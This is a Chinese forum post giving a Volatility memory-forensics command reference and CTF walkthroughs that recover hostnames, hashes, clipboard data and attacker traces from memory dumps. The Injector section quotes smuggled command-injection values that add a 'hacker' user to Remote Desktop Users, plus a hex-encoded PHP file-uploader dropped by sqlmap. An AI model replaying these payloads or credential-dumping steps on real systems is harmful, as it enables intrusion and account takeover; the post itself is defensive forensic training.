首页
社区
课程
招聘
Volatility工具使用详解&&做题
2023-9-25 09:33 8944

Volatility工具使用详解&&做题

2023-9-25 09:33
8944

一、简介

1
Volatility是一款开源内存取证框架,能够对导出的内存镜像进行分析,通过获取内核数据结构,使用插件获取内存的详细情况以及系统的运行状态。

工具以及附件下载,安装文章:

1
2
3
4
5
6
7
----
https://blog.csdn.net/qq_38603541/article/details/129244112链接:https://pan.baidu.com/s/1r0t5k4gFmiu12KHbZolKnA?pwd=6666
提取码:6666
---------------------
https://blog.csdn.net/weixin_44895005/article/details/123917324
----
https://blog.csdn.net/qq_38603541/article/details/129244112

二、基础操作

系统基本信息(寻找profile)
1
vol -f mem.vmem imageinfo
查看进程
1
vol -f mem.vmem --profile=XXX pslist
进程转储
1
2
vol -f mem.vmem --profile=XXX memdump -p 2012 -D ./
-p是PID -D是转储路径
查看用户密码(hash值)
1
vol -f mem.vmem --profile=XXX hashdump
查看cmd进程
1
vol -f mem.vmem --profile=XXX cmdscan
查找flag关键词
1
vol -f mem.vem --profile=XXX filescan | grep flag
查找flag关键词&将文件传储
1
vol -f mem.vem --profile=XXX dumplfiles -Q 0X00000123456 -D ./
查看windows窗口程序
1
vol -f mem,img --profile=XXX windows | grep flag -A 10 (-A 10显示十行内容)
从注册表中提取LSA密钥信息
1
vol -f mem.vmem --profile=XXX lsadump
列出注册表信息
1
vol -f mem.vmem --profile=XXX hivelist
解析路径,看到主机名(system)
1
2
vol -f mem.vmem --profile=xxx -o 0xfaffafafafa printkey
vol -f mem.vmem --profile=xxx -o 0xfaffafafafa printkey -K "ControlSet001\xxx\xxx\SystemName"
查看进程树
1
vol -f mem.vmem --profile=xxx pstree
查看某个进程的DLL
1
vol -f mem.vmem --profile=xxx dlllist -p 1234
查看notepad文本
1
vol -f test.vmem --profile=xxx notepad
查看有关编辑控件
1
vol -f test.vmem --profile=xxx editbox
保存基于GDI窗口的伪截屏
1
vol -f test.vmem --profile=xxx screenshot
查看剪贴板
1
vol -f test.image --profile=xxx clipboard
查看IE浏览器历史记录
1
vol -f test.image --profile=xxx iehistory
查看linux_bash命令
1
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_bash
分析Linux系统中的进程和进程环境
1
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux
查看linux系统的dmesg缓冲区中日志消息
1
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg
检查Linux系统调用表是否被修改过
1
python2 vol.py -f dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED
检测和分析内存中的恶意软件特征
1
python2 vol.py -f MemoryDump.mem --profile=Win10x64_19041 malfind

三、做题

Suspicion

1.系统基本信息(windows版)
1
vol -f mem.vmem imageinfo

发现profile为WinXPSP2X86

2.查看进程
1
vol -f mem.vmem --profile=WinXPSP2x86 pslist


发现存在TrueCrypt.exe进程,TrueCrypt.exe是一款加密程序,所以猜测Suspicion是加密后的结果

3.进程传储
1
vol -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D ./ (-p是PID -D是传储路径)

4.使用**Elcomsoft(Elcomsoft Forensic Disk Decryptor,EFDD)**进行破解。






将解密后的内存文件进行挂载


very-ez-dump

查看镜像信息,profile为Win7SP1x64
1
vol -f mem.raw imageinfo

查看cmd执行的命令,发现添加了一个用户mumuzi,密码**(ljmmz)ovo**
1
vol -f mem.raw --profile=Win7SP1x64 cmdscan

查找一下flag关键词,发现flag.zip,转储下来。
1
vol -f mem.raw --profile=Win7SP1x64 filescan | flag

1
vol -f mem.raw --profile=Win7SP1x64 dumpfiles -#保存到本地进行解压

将后缀改为zip并解压,密码(ljmmz)ovo

得到flag

1
flag{ez_di_imp_1t_y0u_like?}

[HDCTF] 你能发现什么蛛丝马迹

查看镜像信息
1
vol -f mem.img imageinfo

搜索有关flag的文件信息并把他转储出来
1
vol -f mem.img profile=Win2003SP2x86 filescan | grep flag

1
vol -f mem.img profile=Win2003SP2x86 dumpfiles -Q 0x000000000484f900 -D ./

改名为flag.png发现是一个二维码。扫码得到一串密文
1
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
查看windows的窗口程序
1
vol -f mem.img profile=Win2003SP2x86 windows | grep flag -A 10

提取内容
1
vol -f mem.img profile=Win2003SP2x86 memdump -p 1992 -D ./

利用foremost分离文件
1
foremost 1992.dmp

图片中有key和iv,得知是AES加密,解密得到flag

1
2
3
密文:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
key: Th1s_1s_K3y00000
iv: 1234567890123456

Ottoer CTF

General Info

Let’s start easy - whats the PC’s name and IP address?(让我们从简单的开始–电脑的名称和IP地址是什么?)

使用netscan查看IP地址
1
vol -f otto.vmem --profile=XXX netscan

使用hivelist查看注册表。
1
vol -f otto.vmem --profile=XXX hivelist

有system,进行查看。

1
vol -f otto.vmem --profile=XXX  -o 0xfffff8a000024010 printkey

一步步跟进

1
vol -f otto.vmem --profile=XXX  -o 0xfffff8a000024010 printkey -K "ControlSet001"

跟着一直解析,最后看到主机名

Play Time

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?(瑞克只是喜欢玩一些好的老式电子游戏,你能告诉他在玩哪个游戏吗? 服务器的IP地址是什么?)

使用netscan 直接看到游戏名与IP

Name Game

We know that the account was logged in to a channel called Lunar-3. what is the account name?(我们知道该账户登录了一个名为Lunar-3的频道。什么是账户名称?)

利用strings筛选结果
1
strings OtterCTF.vmem | grep Lunar-3 -B 3 -A 3  (-B 3显示指定字符串上三行,-A 3显示指定字符串下三行)

Name Game 2

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What’s rick’s character’s name?(通过一点研究,我们发现,登录的字符的用户名总是在这个签名之后。0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 瑞克的角色叫什么名字?)

LunarMS.exe转储出来
1
vol -f otto.vmem --profile=XXX  memdump -p 708 -D ./

1
2
用hexdump 显示字符
hexdump -C otto.vmem | grep "5a 0c 00" -A 3 -B 3

Silly Rick

Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password? Silly rick总是忘记他的电子邮件密码,所以他使用在线存储密码服务来存储他的密码。他总是复制并粘贴密码,这样他就不会弄错了。rick的电子邮件密码是什么?

查看粘贴板
1
vol.py -f otto.vmem --profile=Win7SP1x64 clipboard

Injector Blue Team Challenge

Category : Endpoint Forensics

What is the computer's name?

先要确定该内存的profile是什么

1
2
3
4
5
vol.py -f memdump.mem imageinfo
 
------
 
确定为 VistaSP1x86

1
确定了profile是什么之后,题目要求找出计算机名称,我们可以通过查询注册表信息来获得计算机名称信息
1
2
3
vol.py -f memdump.mem --profile=VistaSP1x86 hivelist
-----
查询到了SYSTEM信息,访问系统目录查找是否存在计算机名称

1
2
解析路径,看到主机名(system)
vol.py -f memdump.mem --profile=VistaSP1x86 -o 0x86226008 printkey

1
vol.py -f memdump.mem --profile=VistaSP1x86 -o 0x86226008 printkey -K "ControlSet001\Control\ComputerName\ComputerName"

What is the Timezone of the compromised machine? Format: UTC+0 (no-space)
1
查看第一张截图,可得知答案为UTC-7
What was the first vulnerability the attacker was able to exploit?
1
2
3
首先通过pslist查看是否有可疑进程(并未发现明显可疑进程)
但发现该windows存在httpd服务,查看浏览器历史命令是否存在可用信息
发现存在XSS注入命令.判断出了进行了XSS攻击

What is the OS build number?
1
2
查看OS版本号  ->  可以先查看注册表信息
vol.py -f memdump.mem --profile=VistaSP1x86 hivelist

1
可以发现列表中第二行中存在SOFTWARE这行

Windows存储系统OS版本路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

1
2
3
4
5
6
利用命令进行访问系统目录
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20
----------
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20 -K "Microsoft\Windows NT\CurrentVersion"
 
在最下面即可得到OS版本为6001

How many users are on the compromised machine?
1
Windows存储用户路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

What is the webserver package installed on the machine?
1
2
直接使用上段代码,因为我们是查询的软件注册表.所以安装的软件就在注册表最后一行中
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20

What is the name of the vulnerable web app installed on the webserver?

Web服务器上安装的易受攻击的Web应用

1
2
3
4
5
6
7
8
9
10
11
12
我们可以通过filescan 和 dumpfiles 从内存转储中提取access.log
因为是WEB应用所以查看access.log
----------------
vol.py -f memdump.mem --profile=VistaSP1x86 filescan | grep "access.log"
-----------------
将这些文件导出
vol.py -f memdump.mem --profile=VistaSP1x86 dumpfiles -Q 0x000000003efc5988,0x000000003efcd960,0x000000003fa87028,0x000000003fa87d68 -D ./
 
---------
 
使用cat命令将两个文件内容合并成access.log并查看日志
cat xxxxx.dat xxxx.vacb > access.log

What is the user agent used in the HTTP requests sent by the SQL injection attack tool?
1
2
3
4
5
6
7
8
strings、cat命令合并的区别
利用 strings 命令合并两个文件和利用 cat 命令合并两个文件有一些区别。下面是它们的区别:
 
strings 命令:strings 命令用于从二进制文件中提取可打印的字符串。当你使用 strings 命令合并两个文件时,它会将两个文件的内容连接起来,并提取出其中的可打印字符串。这意味着合并后的文件将只包含字符串,而不会包含其他非字符串的二进制数据。
 
cat 命令:cat 命令用于连接文件并打印到标准输出。当你使用 cat 命令合并两个文件时,它会简单地将两个文件的内容连接起来,并将结果输出到标准输出。合并后的文件将包含两个文件的完整内容,包括其中的文本、二进制数据或其他任何内容。
 
总结来说,strings 命令合并文件时只提取可打印字符串,而 cat 命令合并文件时将完整地连接两个文件的内容。选择使用哪个命令取决于你需要合并的文件类型和你对结果的期望。如果你只对可打印字符串感兴趣,可以使用 strings 命令,否则,如果你需要完整地合并两个文件的内容,可以使用 cat 命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
利用strings将文件重新合并一下
提到了SQL注入工具,可以想到是sqlmap
利用grep筛选一下结果
cat access.log | sort | cut -d " " 12-16 | grep sqlmap | head -n4
 
----
 
这条命令是对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的中文解释:
 
cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)上。cat 是一个用于连接文件并打印到标准输出的命令。
 
sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。
 
cut -d " " -f 12-16:使用空格作为分隔符(-d " "),并提取第12到第16个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。
 
grep sqlmap:在输入中搜索包含 "sqlmap" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。
 
head -n4:取前4行。head 命令用于从输入中提取指定数量的行,默认情况下是前10行。
 
因此,这条命令的目的是从 access.log 文件中找到包含 "sqlmap" 的行,并将这些行按照一定的顺序输出到屏幕上,只显示前4行。

The attacker read multiple files through LFI vulnerability. One of them is related to network configuration. What is the filename?
1
2
LFI漏洞(Local File Inclusion Vulnerability)  --  文件包含漏洞
本地文件包含 (LFI) 是一个漏洞,允许攻击者从文件系统中导航和读取文件。因此,我们可以 grep 处理任何看起来像目录遍历的内容(../)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat access.log | grep "../../../../" | cut -d " " -f 4-7 | sort | uniq
----
 
这条命令对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的解释:
 
cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)。cat 是一个用于连接文件并打印到标准输出的命令。
 
grep "../../../../":在输入中搜索包含字符串 "../../../../" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。
 
cut -d " " -f 4-7:使用空格作为分隔符(-d " "),并提取第4到第7个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。
 
sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。
 
uniq:去除重复的行。uniq 命令用于从输入中去除连续的重复行,只保留一个副本。
 
因此,这条命令的目的是从 access.log 文件中找到包含字符串 "../../../../" 的行,提取这些行的第4到第7个字段,并按照字典顺序对它们进行排序,并去除连续的重复行。最终结果将被输出到屏幕上。

The attacker tried to update some firewall rules using netsh command. Provide the value of the type parameter in the executed command?
1
2
3
vol.py -f memdump.mem --profile=VistaSP1x86 cmdscan
----------
vol.py -f memdump.mem --profile=VistaSP1x86 consoles | grep "netsh firewall"

How many users were added by the attacker?
1
2
3
4
5
vol.py -f memdump.mem --profile=VistaSP1x86 consoles | grep "net user"
-----
这里只看到了一个用户,查询大佬wp得知,还存在另一个用户。
-----
共创建了两个用户

When did the attacker create the first user?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b7d008 -K "SAM\Domains\Account\Users\Names\user1"
 
----
 
路径 SAM\Domains\Account\Users\Names 是 Windows 操作系统中的一个关键路径,它存储了本地计算机上的用户账户的名称信息。
 
具体来说,SAM\Domains\Account\Users\Names 路径下的文件包含了本地计算机上已创建的用户账户的名称和相关信息,例如账户的显示名称、登录名称、SID(安全标识符)等。
 
这些信息对于用户身份识别和授权非常重要。在用户登录时,操作系统会使用这些名称信息来验证用户的身份,并为其分配相应的访问权限。
 
需要注意的是,SAM\Domains\Account\Users\Names 中的文件是操作系统保护的系统文件,普通用户无法直接访问或修改。只有操作系统和授权的系统管理员才能访问和管理这些文件。
 
总结来说,SAM\Domains\Account\Users\Names 路径存储了本地计算机上用户账户的名称信息,这些信息用于用户身份验证和授权访问,但对于一般用户来说,访问和修改这些文件是受限制的。
 
----
 
Domains是域

What is the NThash of the user's password set by the attacker?
1
2
vol.py -f memdump.mem --profile=VistaSP1x86 hashdump
查看用户的hash

What is The MITRE ID corresponding to the technique used to keep persistence?
1
 
The attacker used Command Injection to add user "hacker" to the "Remote Desktop Users" Group. Provide the IP address that was part of the executed command?

(攻击者使用命令注入将用户“hacker”添加到“远程桌面用户”组。是否提供已执行命令的IP地址?)

1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop/volatility]
└─# cat cmd.dmp | grep "hacker"
 
Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
hackerLo
The attacker uploaded a simple command shell through file upload vulnerability. Provide the name of the URL parameter used to execute commands?

攻击者通过文件上传漏洞上传了一个简单的命令shell。是否提供用于执行命令的URL参数的名称?

1
2
php执行命令参数大多数为 ?xxx=命令参数。我们可以利用这种特征来查找
cat access.log | cut -d " " -f 4-8 | grep "?[A-Za-z]*="

The attacker dropped a shellcode through SQLi vulnerability. The shellcode was checking for a specific version of PHP. Provide the PHP version number?
1
2
3
4
5
6
7
8
9
3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a
 
-------------
 
将这个十六进制数转换为字符串
 
--------------
 
echo '3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a' | xxd -r -p

Hide And Seek

The reason that we took rick’s PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)(我们提取瑞克的电脑内存转储的原因是有一个恶意软件感染。请找到恶意软件的进程名称(包括扩展名)

查看进程树,发现一个异常进程,PPID比PID还大(在 Linux 上,通常情况下,父进程的进程ID(PPID)会比子进程的进程ID(PID)要小。这是因为在大多数情况下,子进程是由父进程创建的。)
1
vol.py -f otto.vmem --profile=Win7SP1x64 pstree

查看一下这个进程的DLL,发现程序是在temp目录下执行的,那这个应该就是恶意软件进程了。
1
vol.py -f otto.vmem --profile=Win7SP1x64 dlllist -p 3720

Path To Glory

Continue the search after the the way that malware got in.(在恶意软件进入后继续搜索。)

先将所有的chrome进程转储下来
1
2
vol.py -f otto.vmem --profile=Win7SP1x64 memdump -n chrome -D ./chromeps
(memdump -n 是一个命令,用于将特定进程的内存转储到文件中。-n 选项允许您指定要转储的进程的名称或PID(进程ID))

搜索download.exe.torren


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 4165
活跃值: (1816)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lianzhan 3天前
2
0
感谢分享!
游客
登录 | 注册 方可回帖
返回